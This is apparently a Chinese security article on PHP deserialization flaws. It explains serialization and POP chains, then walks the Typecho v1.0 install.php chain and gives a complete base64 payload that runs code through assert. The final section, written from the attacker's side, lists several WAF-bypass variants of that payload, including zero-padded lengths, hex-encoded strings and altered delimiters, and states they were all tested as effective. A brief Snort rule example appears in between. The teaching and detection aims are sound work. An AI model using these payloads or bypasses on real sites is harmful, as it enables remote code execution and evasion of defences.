0x01 PHP反序列化漏洞成因
序列化与反序列化
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 –php官方文档
serialize() :返回带有变量类型和值的字符串
unserialize() :想要将已序列化的字符串变回 PHP 的值
代码示例:
1 | <?php |
序列化字符串的格式为:
1 | O:7:"example":1:{s:4:"test";s:7:"sangfor";} |
常见的反序列化数据类型标志:
1 | i - 整数 |
魔法函数
在php中有一些函数不需要调用就可以执行,称这种为方法为魔术方法,常见的PHP魔术函数:
1 | __construct(),类的构造函数 |
构造攻击链(POP与ROP)
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。比如栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。
ROP的核心思想:攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。
面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
PHP反序列化漏洞Demo与漏洞利用
漏洞Demo
1 | <?php |
漏洞Poc
1 | payload:(适用于destruct() wakeup()) |
通过参数h将序列化字符串传递给Demo,demo再被反序列化之后自动调用__destruct()
魔法函数导致程序运行assert(phpinfo())
,这一步骤用到的__destruct()
即为攻击链的一个节点,真实环境中需要利用多个节点串联为攻击链,具体实例见下文。
0x02 防御侧(snort)
规则示例(非PHP反序列化漏洞):
1 | alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS ( msg:"SERVER-ORACLE dbms_repcat.purge_master_log buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.purge_master_log",nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1075,}\x27|\x22[^\x22]{1075,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1075,}|\x22[^\x22]{1075,}))/si"; metadata:ruleset community; reference:url,www.appsecinc.com/resources/alerts/oracle/2004-0001/25.html; classtype:attempted-user; sid:2792; rev:4; ) |
规则动作举例:
1 | alert:使用选定的报警方法产生报警信息,并且记录数据包 |
0x03 绕过方法
漏洞环境:
本次漏洞环境采用Typecho v1.0反序列化漏洞
本漏洞的产生位置为install.php
,查看文件源码有以下内容:
1 | $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); |
从上述代码可知两个信息:
1、GET请求的finish非空
2、__typecho_config字段中存放payload
跟进Typecho_Db类发现此类中存在一个构造函数,此构造函数中存在一个将成员与字符串进行拼接的操作,由上文中提到的魔法函数可知,此步骤可能触发__toString()
魔法函数,因此从源码中寻找可用的包含__toString()
的类。
在Typecho_Feed中找到了可用的__toString()
魔法函数
在这个魔法函数中找到了属性调用的代码,当目标类中不存在screenName属性时可以触发__get()
魔法函数,下一步在源码中寻找可用的__get()
魔法函数
在Typecho_Request中找到了__get()
魔法函数:
__get()
魔法函数中调用_applyFilter
中又可以用于命令执行的函数call_user_func()
:
到这里一条完整的构造链就梳理出来了,完整payload如下:
1 | __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUxMTc5NTIwMTtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30= |
使用上文payload可以执行phpinfo()函数,将payload进行base64解码之后可得以下内容:
1 | a:2:{s:7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";} |
绕过WAF的方式:
针对此漏洞,WAF的防御思路应该是根据payload进行base64解码之后的内容做静态内容匹配和正则匹配,比如规则会识别数据包中是否存在Typecho_Request、screenName等字段,但是为了提高识别的精准度和防止误报,应该会加上一些其他的payload特征来达到防御效果,因此下文从攻击者角度介绍几种绕过此类漏洞规则的方法。
序列化字符串之后添加任意字符串不影响序列化结果,如一下payload:
1 | a:2:{s:7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";}test_sangfor |
可以在数字前如表示字符串长度的数字之前添加多个0,不影响反序列化结果:
1 | a:2:{s:0000000007:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";} |
上文中提到了s标志与S的区别,即s是表示字符串ASCII字符,S表示字符串HEX编码的值,因此将s转换为hex可以达到一个比较良好的绕过效果:
1 | a:2:{s:7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";S:9:"\70\68\70\69\6e\66\6f\28\29";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";} |
1 | a:2:{s:7:"adapter"AO:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";} |
1 | a:2:{s:+7:"adapter";O:12:"Typecho_Feed":2:{s:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";} |
1 | a:2:{s:7:"adapter";O:12:"Typecho_Feed":2AAs:19:"Typecho_Feed_type";s:7:"RSS 2.0";s:20:"Typecho_Feed_items";a:1:{i:0;a:5:{s:5:"title";s:1:"1";s:4:"link";s:1:"1";s:4:"date";i:1511795201;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:9:"phpinfo()";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:8:"typecho_";} |
以上绕过方式经测试均为有效绕过